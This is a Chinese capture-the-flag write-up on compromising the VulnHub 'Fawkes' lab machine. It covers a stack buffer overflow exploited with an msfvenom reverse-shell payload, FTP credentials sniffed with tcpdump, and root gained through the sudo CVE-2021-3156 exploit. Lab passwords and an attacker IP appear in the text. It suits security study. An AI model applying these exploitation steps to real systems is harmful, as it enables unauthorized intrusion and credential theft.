vulnhub靶场【哈利波特】三部曲之Fawkes

前言

这次的靶机与前面不同,这里涉及到缓冲区溢出等

这个靶机也让我知道薄弱点了,缓冲溢出这方面之前接触少,所以刚拿到这个靶机打开后,人蒙了,在网上查阅好多资料,也只是浅学一下,这里主要也是跟着其他师傅的步骤进行操作,在实践中去理解。

参考链接:https://www.cnblogs.com/Fab1an/p/18364950

靶机虚拟机环境为virtualbox,网卡为桥接模式

靶机:fawkes

攻击:kali

主机发现

使用arp-scan -l扫描,在同一网卡下

信息收集

端口发现

使用nmap简单扫描一下端口

可以看到两个SSH服务端口,只是使用的版本不同,还有一个9898端口,不知道是什么服务

网站目录扫描

一般网站可能都是目录型,这里直接进行扫描

很是罕见的什么都没有扫到,访问网站进行查看

啧,电影海报啊,这里下载图片,看有无隐藏信息

测试9898端口

虽是接口有返回信息等,但是毫无用处

测试21端口

测试使用anonymous匿名用户尝试登录,空密码登录成功,发现有文件,下载到kali

查看文件类型,是可执行文件

信息点小结

  1. 80端口只有一张图片,并且无其他内容
  2. SSH服务有两个端口,但是没有任何的用户名和密码
  3. FTP匿名登录成功,获取到可执行文件

测试可执行文件

根据上面的信息小结,可以知道,现在可用的也许只有SSH爆破和这个下载的可执行文件

给予执行权限

可以知道靶机上的9898端口的作用,应该就是启动了这个服务,为详细准确,再使用nc测试一遍

对该执行文件进行调试

关闭kali的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

shell 复制代码
cd /proc/sys/kernel
echo randomize_va_space

使用工具进行调试

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择attch

当然这里的attch是通过进程进行的测试,所以需要输入关键字server来过滤,只要那个服务的开启。直接导入文件的话,是不需要的

初步调试,确定是否可行,在用户输入的话,也必须开始调试才能进行下一步。那么交互的话,用户可输入,就使劲输入,看程序是否崩溃或者怎么样。

平常在数据库中,不就是有的是有长度限制吗。

尝试输入很多数值字符来判断,这里最终测试400个A时,出现错误,地址0x41414141不存在

缓冲区溢出

可以看到,这里被覆盖了

EIP寄存器,是执行下一跳指令的内存地址,就是可以指定跳转到那里

ESP寄存器,是存储数据的,具体指令

那么使用msf生成400无规律排列的字符,方便寻找到在那里溢出

shell 复制代码
msf-pattern_create -l 400

记住这个地址,然后使用msf去寻找刚刚生成的那个序列排在哪里

shell 复制代码
msf-pattern_offset -l 400 -q 0x64413764

可以确定偏移量为112,可以生成112个A,4个B,和多个C

因为之前报错也是可以看到的,为四个字符16进制组成

可以看到,这里的报错是B的十六进制

从下面也可以清晰的看出EIP的指定内存地址,以及ESP的指令

下面就需要构造使得EIP指向ESP的内存地址,而ESP的指令该怎么能够获得反弹shell

首先要知道ESP的内存地址,这样就可以自己加上这个内存地址,防止溢出

选择可执行的内存地址,因为这是跳转到指令,而且如果不能执行,修改了也无作用

点击find,记下jmp esp的内存地址,0x08049d55

jmp esp是一条汇编指令。jmp是 "jump" 的缩写,意思是跳转。esp是栈指针寄存器(Extended Stack Pointer)。这条指令的作用是使程序的执行流程跳转到esp寄存器所指向的内存地址。

制造反弹shell

已知偏移量为112ESP内存地址为0x08049d55,那么只需要编造16进制的payload进行反弹shell,这里的靶机为小端序,内存地址需要颠倒\x55\x9d\x04\x08

shell 复制代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.16 LPORT=8888 -b "\x00" -f python

把上面生成的写入到python文件中,但是这里只是生成ESP所要执行的指令,还需要和前面的溢出配合,不然无法正确的使EIP跳转正确

payload中加了之前并没有的'\x90'*32是为了防止恶意代码离的太近

然后这时候,运行可执行文件,然后另起终端开启监听8888端口,与上面的反弹shell端口一致

然后执行python脚本

在本机上运行的服务进行而此时,成功

那么修改payload为靶机地址和端口,然后测试

反弹成功,获取一个shell

提权

测试,靶机没有python,无法使用python创建交互式的终端,测试使用/bash/bash -i也不行,

最终是/bash/sh -i成功,在当前目录下,发现可能是密码的文本HarrYp0tter@Hogwarts123

尝试使用ssh测试,默认端口的SSH服务连接不上,测试2222端口的

使用find查找具有SUID权限的,有sudo并且可以执行任意

查看后,发现root没有密码,直接sudo su -切换到root,然后呢,查看root目录下的文件

这里说,"我们发现有人试图经过FTP的错误去登录,你应该去分析流量然后指出用户"

这里测试靶机有无监听流量的工具,如wireshark、tcpdump

查看网卡信息

使用tcpdump监听

获取到用户名neville,密码bL!Bsg3k

shell 复制代码
tcpdump -i eth0 port 21

使用这个用户名和密码登录,注意,这里登录的是22端口的SSH服务

寻找SUID,发现找到sudo,但是不能使用

收集信息

使用searchsploit搜索,发现提权中的方法与可以使用的,不匹配

漏洞提权

在百度搜索,确实有,项目地址https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

漏洞介绍https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

测试,靶机有nc命令,也有wget命令

py文件传输到靶机,使用wget也行

最终提权成功

清除痕迹

总结

整个靶机的重点在于缓冲区溢出

  1. 要知道什么是缓冲区溢出,然后就是会找到溢出位置
  2. 理解两个寄存器EIPESP
  3. 要会编写一个简单的python来直接进行发送信息
  4. sudo -l不可用,以及其他不能提权时,想到内核漏洞以及命令版本漏洞

使用工具

edb-debugger进行文件调测,找到缓冲溢出的位置

msf-pattern_create -l 400生成400个无规律排列字符

msf-apttern_offset -l 400 -q 0x64413764找到刚刚生成字符的位置,这里是十六进制进行查找

which定位命令路径

lsb_release -a查看系统

sudo --version查看命令版本

相关推荐
YiSLWLL1 分钟前
使用Tauri 2.3.1+Leptos 0.7.8开发桌面小程序汇总
python·rust·sqlite·matplotlib·visual studio code
花酒锄作田34 分钟前
[flask]自定义请求日志
python·flask
BOB-wangbaohai2 小时前
Flowable7.x学习笔记(十三)查看部署流程图
笔记·学习·流程图
SsummerC2 小时前
【leetcode100】组合总和Ⅳ
数据结构·python·算法·leetcode·动态规划
Tandy12356_2 小时前
Godot开发2D冒险游戏——第一节:主角登场!
python·游戏引擎·godot
EasyDSS2 小时前
视频监控从安装到优化的技术指南,视频汇聚系统EasyCVR智能安防系统构建之道
大数据·网络·网络协议·音视频
rufeike2 小时前
UDP协议理解
网络·网络协议·udp
西柚小萌新3 小时前
【Python爬虫基础篇】--4.Selenium入门详细教程
爬虫·python·selenium
江理不变情3 小时前
海思ISP调试记录
网络·接口隔离原则
网络安全工程师老王4 小时前
Java Agent 注入 WebSocket 篇
websocket·网络安全·信息安全·渗透测试